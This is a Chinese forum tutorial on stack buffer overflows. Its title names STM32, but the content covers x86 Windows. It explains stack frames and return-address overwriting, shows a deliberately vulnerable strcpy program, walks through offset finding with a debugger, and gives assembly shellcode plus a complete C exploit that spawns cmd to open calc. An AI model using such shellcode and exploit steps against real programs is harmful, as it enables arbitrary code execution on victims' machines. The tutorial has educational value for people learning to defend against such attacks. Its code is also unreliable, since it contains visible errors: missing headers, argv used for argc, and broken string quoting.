找回密碼
 立即注冊(cè)

QQ登錄

只需一步,快速開(kāi)始

搜索
查看: 5388|回復(fù): 0
打印 上一主題 下一主題
收起左側(cè)

stm32 內(nèi)存溢出攻擊分析

[復(fù)制鏈接]
跳轉(zhuǎn)到指定樓層
樓主
ID:94349 發(fā)表于 2015-11-9 15:02 | 只看該作者 回帖獎(jiǎng)勵(lì) |倒序?yàn)g覽 |閱讀模式
什么是內(nèi)存溢出?簡(jiǎn)單的說(shuō),內(nèi)存溢出就是程序向內(nèi)存寫(xiě)入了比分配更多的空間更多的內(nèi)容。攻擊者據(jù)此控制程序執(zhí)行的路徑,冒名執(zhí)行它的代碼。對(duì)那些好奇這一切都是如何發(fā)生的人,本文試圖詳細(xì)介紹攻擊的實(shí)現(xiàn)機(jī)制并提出一些預(yù)防措施。

從我們知道的經(jīng)驗(yàn)來(lái)看,大多都聽(tīng)說(shuō)過(guò)這些攻擊,但是很少幾個(gè)真的理解攻擊的具體機(jī)制,有些人有些模糊的印象,甚至有些人根本不知道越界攻擊是什么。還有些人認(rèn)為這個(gè)屬于秘密的智慧和技能只有少數(shù)幾個(gè)專(zhuān)家才能掌握的。實(shí)際上,它只不過(guò)是由我們這些粗心的程序員制造的漏洞罷了。

C語(yǔ)言編寫(xiě)的程序擁有高效的性能和很小的二進(jìn)制代碼,卻最容易感染這種攻擊。事實(shí)上,在程序界,C語(yǔ)言以靈活和強(qiáng)大著稱,然而它也是諸多新手最頭痛的語(yǔ)言。它提供了基于直接指針的函數(shù)調(diào)用,這樣在一些文本字符串的處理庫(kù)上無(wú)法控制真正的內(nèi)存長(zhǎng)度,因此容易導(dǎo)致內(nèi)存溢出訪問(wèn)。

在介紹任何攻擊的機(jī)制之前,我們先熟悉一下幾個(gè)和程序執(zhí)行以及內(nèi)存管理切切相關(guān)的基本概念。

進(jìn)程內(nèi)存空間

當(dāng)一個(gè)程序被執(zhí)行的時(shí)候,它的各個(gè)編譯單元被映射到一個(gè)組織良好的內(nèi)存結(jié)構(gòu)上,如圖1所示:

圖. 1: 進(jìn)程內(nèi)存空間


擴(kuò)展:

text 段保護(hù)了基本的可執(zhí)行的程序代碼,data段包括了所有的全局變量,data段的長(zhǎng)度在編譯的時(shí)候決定。在內(nèi)存空間的頂端是由stack和heap共享的地址段,他們都是在運(yùn)行時(shí)分配。Stack用來(lái)保存函數(shù)調(diào)用的參數(shù),局部變量以及一些用來(lái)保存程序當(dāng)前狀態(tài)的寄存器值。Heap分配給動(dòng)態(tài)變量,比如malloc和new。

Stack用來(lái)干什么?

Stack是一個(gè)LIFO隊(duì)列(先進(jìn)后出),由于stack是在函數(shù)的生命周期分配的,因此只有在此生命周期內(nèi)的變量存在在那,這一切的根源在于機(jī)構(gòu)化編程的本質(zhì),我們吧代碼分解為一個(gè)一個(gè)的函數(shù)代碼段。當(dāng)程序在內(nèi)存里面運(yùn)行的時(shí)候,它時(shí)而順序的調(diào)用函數(shù),時(shí)而從一個(gè)函數(shù)調(diào)用另外一個(gè)函數(shù),從而構(gòu)成了一個(gè)多層的調(diào)用鏈。當(dāng)一個(gè)函數(shù)執(zhí)行完后。它需要去執(zhí)行緊接著它的下一個(gè)指令,當(dāng)從一個(gè)函數(shù)調(diào)用另外一個(gè)函數(shù)的時(shí)候,它需要凍。╢rozen)當(dāng)前的變量狀態(tài),以便函數(shù)執(zhí)行完返回后恢復(fù)。Stack正好能實(shí)現(xiàn)這些需求。

函數(shù)調(diào)用

CPU順序執(zhí)行CPU的指令,使用一個(gè)擴(kuò)展的EIP寄存器來(lái)維護(hù)執(zhí)行的順序。這個(gè)寄存器保存了下一個(gè)被執(zhí)行的指令地址。例如,運(yùn)行一個(gè)jump或者call一個(gè)函數(shù),將會(huì)修改EIP寄存器。大家想如果把當(dāng)前代碼的地址寫(xiě)入EIP,會(huì)發(fā)生什么?

調(diào)用完該函數(shù)后需要執(zhí)行的下一個(gè)指令的地址叫返回地址(return address),當(dāng)一個(gè)函數(shù)被調(diào)用的時(shí)候,我們需要把返回地址壓入堆棧。從攻擊者的角度來(lái)看,這個(gè)機(jī)制至為重要。如果攻擊者通過(guò)某種方法設(shè)法修改了保存在堆棧里面的返回地址,那么當(dāng)函數(shù)執(zhí)行完的時(shí)候,這個(gè)地址將被加載到EIP,因此內(nèi)存溢出的代碼將被下一個(gè)執(zhí)行,而不是程序里面的代碼,下面的代碼可以用來(lái)解釋堆棧的工作原理。

Listing1

void f(int a, int b)

{

    char buf[10];

    // <-- the stack is watched here

}

void main()

{

    f(1, 2);

}

當(dāng)進(jìn)入 f(), 堆棧的內(nèi)容如圖2所示。

圖. 2 Behavior of the stack during execution of a code from Listing 1


擴(kuò)展:

首先,函數(shù)的參數(shù)被壓入了堆棧的底部(C語(yǔ)言的規(guī)則如此),緊接著是返回地址。下面進(jìn)入f()的執(zhí)行,它首先把當(dāng)前的EBP寄存器壓入堆棧(后面解釋?zhuān)┎⑶医o函數(shù)的局部變量分配空間。有兩件事值得注意:第一,stack是自頂部向下分配的,我們的記住下面這句匯編是增加了stack的大小,雖然這看起來(lái)有點(diǎn)容易迷惑,事實(shí)上就是ESP越大,堆棧越小。:

sub esp, 08h

第二,stack是32位對(duì)齊的,也就是說(shuō)如果一個(gè)10字符的數(shù)組要占用12字節(jié)。

Stack如何工作?

有兩個(gè)CPU寄存器對(duì)于stack的功能至關(guān)重要,它是ESP和EBP。ESP保存stack的頂部地址,ESP可以被修改,可以被直接修改或者間接修改,直接操作的指令比如,add esp, 08h,將導(dǎo)致ESP縮小8個(gè)字節(jié)。間接的操作,比如壓棧和出棧操作。EBP寄存器指向堆棧的底部,更精確的說(shuō)是包含了堆棧底部和可執(zhí)行代碼之間的距離。每次調(diào)用一個(gè)新函數(shù)的時(shí)候,當(dāng)前EBP的值被首先壓入stack,然后新的ESP值將被移入EBP寄存器,現(xiàn)在EBP指向了當(dāng)前函數(shù)的堆棧底部。[i]

由于ESP指向stack的頂部,它在程序執(zhí)行過(guò)程中不斷變化,用它作為偏移量寄存器很笨重,這就是為什么要有EBP的原因。

威脅

如何知道什么地方可能會(huì)被攻擊?我們現(xiàn)在只知道返回地址是保存在stack上面,同時(shí)函數(shù)變量也是在stack里面進(jìn)行處理。后面我們將了解,在某些特定的環(huán)境下,正是由于這兩個(gè)特性導(dǎo)致返回地址可以被改變。帶著這個(gè)疑問(wèn),下面讓我們來(lái)看一段簡(jiǎn)單的小程序。

Listing 2

#include

char *code = "AAAABBBBCCCCDDD"; //including the character '\0' size = 16 bytes

void main()

{

    char buf[8];

    strcpy(buf, code);

}

當(dāng)執(zhí)行該程序的時(shí)候,該程序會(huì)提示“內(nèi)存訪問(wèn)錯(cuò)誤”[ii],為什么?因?yàn)楫?dāng)我們嘗試把一個(gè)16字節(jié)的字符串寫(xiě)入一個(gè)8字節(jié)的空間(這個(gè)很少發(fā)生,因?yàn)槿狈Ρ匾目臻g限制檢查)。因此分配的內(nèi)存空間已經(jīng)被超過(guò),在stack底部的數(shù)據(jù)已經(jīng)被改寫(xiě)。讓我們?cè)倩仡櫼幌聢D2,stack里面的重要的數(shù)據(jù):幀地址和返回地址都已經(jīng)被改寫(xiě)了!因此,當(dāng)函數(shù)返回的時(shí)候,一個(gè)錯(cuò)誤的返回地址已經(jīng)被寫(xiě)到EIP,這樣允許程序去執(zhí)行該地址指向的值,產(chǎn)生了一個(gè)stack操作錯(cuò)誤。由此看來(lái),在stack里面破壞返回地址不僅可行而且很平常。糟糕的程序或者含有bug的軟件給攻擊者提供了一個(gè)巨大的機(jī)會(huì)去執(zhí)行攻擊者設(shè)計(jì)的惡意代碼。

Stack overrun

現(xiàn)在我們?cè)撌崂硪幌滤羞@些知識(shí)了。我們已經(jīng)知道程序通過(guò)EIP寄存器控制代碼的執(zhí)行,我們還知道在調(diào)用函數(shù)的時(shí)候緊跟在函數(shù)后面的一句代碼的地址被壓入堆棧,在函數(shù)調(diào)用返回的時(shí)候從stack恢復(fù)并移到EIP寄存器。通過(guò)一種控制的方法進(jìn)行內(nèi)存溢出寫(xiě)入,我們可以弄清返回地址被保存的具體位置。這樣攻擊者就擁有了所有的信息可以去控制程序執(zhí)行他想執(zhí)行的代碼,創(chuàng)建有害的進(jìn)程。簡(jiǎn)單的來(lái)說(shuō),有效的進(jìn)行內(nèi)存侵害的算法如下:

1. 找到一段存在內(nèi)存越界缺陷的代碼;

2. 探測(cè)需要多少字節(jié)才能修改返回地址;

3. 計(jì)算指向改變后代碼的地址;

4. 寫(xiě)一段代碼用于被執(zhí)行;

5. 鏈接在一起進(jìn)行測(cè)試。

下面的Listing 3是一段可以被利用的代碼示例:

Listing 3 – The victim’s code

#include

#define BUF_LEN 40

void main(int argc, char **argv)

{

    char buf[BUF_LEN];

    if (argv > 1)

    {

        printf(?\buffer length: %d\nparameter length: %d”, BUF_LEN, strlen(argv[1]) );

        strcpy(buf, argv[1]);

    }

}

這段代碼擁有所有的內(nèi)存溢出缺陷的特征:局部stack緩沖,一個(gè)不安全的函數(shù)會(huì)去改寫(xiě)內(nèi)存,第一個(gè)命令行參數(shù)沒(méi)有進(jìn)行長(zhǎng)度檢查。

加上我們新學(xué)到的知識(shí),讓我們來(lái)完成一個(gè)攻擊任務(wù)。我們已經(jīng)清楚,猜測(cè)一段代碼存在內(nèi)存溢出缺陷非常容易,如果有源代碼的話就更容易了。第一個(gè)方法就是尋找字符相關(guān)函數(shù),比如strcpy(),strcat()或者gets(),他們的共有的特性是都沒(méi)有長(zhǎng)度限制的拷貝,直到發(fā)現(xiàn)NULL(code 0)為止。而且這些函數(shù)在局部緩沖上進(jìn)行操作,有機(jī)會(huì)修改保存在局部緩沖上的函數(shù)的返回地址。另外一個(gè)方法是反復(fù)試探法,通過(guò)填充大批量的數(shù)據(jù),比如下面的例子:

victim.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

如果程序返回一個(gè)訪問(wèn)沖突的錯(cuò)誤,我們就可以向下一步了。

下一步,我們需要構(gòu)造一個(gè)大字符串,能夠破壞返回地址。這一步也非常簡(jiǎn)單,還記得前面我們說(shuō)過(guò)寫(xiě)入stack都是以WORD對(duì)齊的么,我們可以構(gòu)造如下示例的字符串:

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU.............

如果成功,這個(gè)字符串將導(dǎo)致程序crash,并彈出著名的錯(cuò)誤對(duì)話框:

The instruction at ?0x4b4b4b4b” referenced memory at ?0x4b4b4b4b”. The memory could not be ?read”

我們知道,0x4b就是字符”K”的ASCII碼,返回地址已經(jīng)被“KKKK”改寫(xiě)了。好了,下面我們可以進(jìn)入步驟3了,找到當(dāng)前buffer的開(kāi)始地址不太容易。有很多方法進(jìn)行這種“試探”,現(xiàn)在我們來(lái)討論其中一種,其它的后面在討論。我們可以通過(guò)跟蹤代碼的方式來(lái)獲得所需要的地址。首先通過(guò)debugger加載目標(biāo)程序,然后開(kāi)始單步執(zhí)行,不過(guò)令人頭痛的是開(kāi)始執(zhí)行的時(shí)候會(huì)有一系列和我們代碼不相關(guān)的系統(tǒng)函數(shù)調(diào)用;蛘咴诔绦蜻\(yùn)行時(shí)監(jiān)控程序的stack,跟蹤到出現(xiàn)我們輸入的字符串的下一句。不管用哪個(gè)方法,我們最終要找到類(lèi)似于如下的代碼就算達(dá)到目的了:

:00401045 8A08 mov cl, byte ptr [eax]

:00401047 880C02 mov byte ptr [edx+eax], cl

:0040104A 40 inc eax

:0040104B 84C9 test cl, cl

:0040104D 75F6 jne 00401045

這個(gè)是我們所要尋找的strcpy函數(shù),進(jìn)入函數(shù)后,首先讀入EAX指向的內(nèi)存的字節(jié),下一行代碼再寫(xiě)入到EDX+EAX的地址去,通過(guò)讀寄存器,我們可以獲得這個(gè)緩存的地址是0x0012fec0。

寫(xiě)一段shellcode也是一門(mén)藝術(shù)。不同的操作系統(tǒng)使用不同的系統(tǒng)函數(shù),就需要不同的方法達(dá)到我們的目的。最簡(jiǎn)單的情況下,我們什么都不做,只是改寫(xiě)返回地址,導(dǎo)致程序出現(xiàn)偏離預(yù)計(jì)的行為。事實(shí)上,攻擊者可以執(zhí)行任意的代碼,唯一的約束是可使用的空間大。ㄊ聦(shí)上這一點(diǎn)也可以設(shè)法克服)和程序的訪問(wèn)權(quán)限。在大部分情況下,緩沖溢出正是一種被用來(lái)獲得超級(jí)用戶權(quán)限、利用有缺陷的系統(tǒng)進(jìn)行DOS攻擊的方法。例如,創(chuàng)建一段shellcode允許執(zhí)行命令行處理程序(WinNT/2000下的cmd.exe)。通過(guò)調(diào)用系統(tǒng)函數(shù)WinExec或者CreateProcess就可以實(shí)現(xiàn)這個(gè)目標(biāo)。調(diào)用WinExec的代碼如下:

WinExec(command, state)

為了實(shí)現(xiàn)我們的目標(biāo),women需要傳遞這樣的參數(shù):

- 將我們需要傳入的參數(shù)字符串壓棧,也就是“cmd /c calc”.

- 將第二個(gè)參數(shù)壓棧,這兒我們不需要內(nèi)容,就壓入NULL(0)。(從右向左的參數(shù)調(diào)用規(guī)則,先壓入第二個(gè)參數(shù))

- 將剛剛壓入的“cmd /c calc”的地址作為第一個(gè)參數(shù)壓棧。

- 調(diào)用WinExec系統(tǒng)函數(shù).

下面的代碼是完成這個(gè)目標(biāo)的一個(gè)實(shí)現(xiàn):

sub esp, 28h ; 3 bytes

jmp calling ; 2 bytes

par:

call WinExec ; 5 bytes

push eax ; 1 byte

call ExitProcess ; 5 bytes

calling:

xor eax, eax ; 2 bytes

push eax ; 1 byte

call par ; 5 bytes

.string cmd /c calc|| ; 13 bytes

關(guān)于代碼的一些解釋?zhuān)?/span>

sub esp, 28h

在函數(shù)退出的時(shí)候會(huì)首先回收函數(shù)的局部變量的棧長(zhǎng)度,剛剛寫(xiě)入stack的部分代碼現(xiàn)在被聲明為無(wú)效了,這就意味著程序?qū)?huì)把這部分stack分配給別的函數(shù)調(diào)用使用,從而破壞我們剛剛寫(xiě)入的代碼,因此我們的第一個(gè)代碼就是將ESP減40個(gè)字節(jié)(相應(yīng)的stack增長(zhǎng)了40個(gè)字節(jié))。

jmp calling

下一行語(yǔ)句跳轉(zhuǎn)到WinExec函數(shù)參數(shù)壓棧的代碼。我們需要注意以下幾點(diǎn):第一,NULL值必須通過(guò)精心構(gòu)造的方法獲得,因?yàn)槿绻覀冎苯訉?xiě)一個(gè)0的話,將會(huì)在strcpy的時(shí)候被當(dāng)成是字符串結(jié)尾而導(dǎo)致后面的代碼無(wú)法被寫(xiě)入堆棧。因此只能把字符串放在最后。我們知道,調(diào)用call指令的時(shí)候,會(huì)自動(dòng)將下一個(gè)指令的指針壓入stack作為返回地址,我們可以利用這個(gè)特性來(lái)把字符串和字符串的地址壓入堆棧。為此我們首先跳轉(zhuǎn)到calling語(yǔ)句的位置,將第二個(gè)參數(shù)壓入堆棧,然后調(diào)用call,將后面的地址壓入堆棧,接著開(kāi)始順序調(diào)用WinExec和ExitProcess,下圖是調(diào)用順序,方便的計(jì)算各個(gè)變量的值。

Fig. 3 A sample shellcode


聯(lián)想:

我們看到,我們的例子沒(méi)有考慮EBP壓棧的大小,這是因?yàn)槲覀兗僭O(shè)使用VC7編譯,該編譯器不向堆棧壓入EBP寄存器的內(nèi)容。

剩下的工作就是把上面的代碼轉(zhuǎn)換為二進(jìn)制格式并完成程序進(jìn)行測(cè)試了,下面是代碼:

Listing 4 – Exploit of a program victim.exe

char *victim = "victim.exe";

char *code = "\x90\x90\x90\x83\xec\x28\xeb\x0b\xe8\xe2\xa8\xd6\x77\x50\xe8\xc1\x90\xd6\x77\x33\xc0\x50\xe8\xed\xff\xff\xff";

char *oper = "cmd /c calc||";

char *rets = "\xc0\xfe\x12";

char par[42];

void main()

{

    strncat(par, code, 28);

    strncat(par, oper, 14);

    strncat(par, rets, 4);

    char *buf;

    buf = (char*)malloc( strlen(victim) + strlen(par) + 4);

    if (!buf)

    {

        printf("Error malloc");

        return;

    }

    wsprintf(buf, "%s "%s"", victim, par);

    printf("Calling: %s", buf);

    WinExec(buf, 0);

}

太棒了,它能夠工作了!這里需要從Listing 3代碼編譯的victim.exe放在該程序的當(dāng)前目錄。如果一切順利,我們可以看到一個(gè)系統(tǒng)的計(jì)算器彈出來(lái)!

分享到:  QQ好友和群QQ好友和群 QQ空間QQ空間 騰訊微博騰訊微博 騰訊朋友騰訊朋友
收藏收藏1 分享淘帖 頂 踩
回復(fù)

使用道具 舉報(bào)

本版積分規(guī)則

手機(jī)版|小黑屋|51黑電子論壇 |51黑電子論壇6群 QQ 管理員QQ:125739409;技術(shù)交流QQ群281945664

Powered by 單片機(jī)教程網(wǎng)

快速回復(fù) 返回頂部 返回列表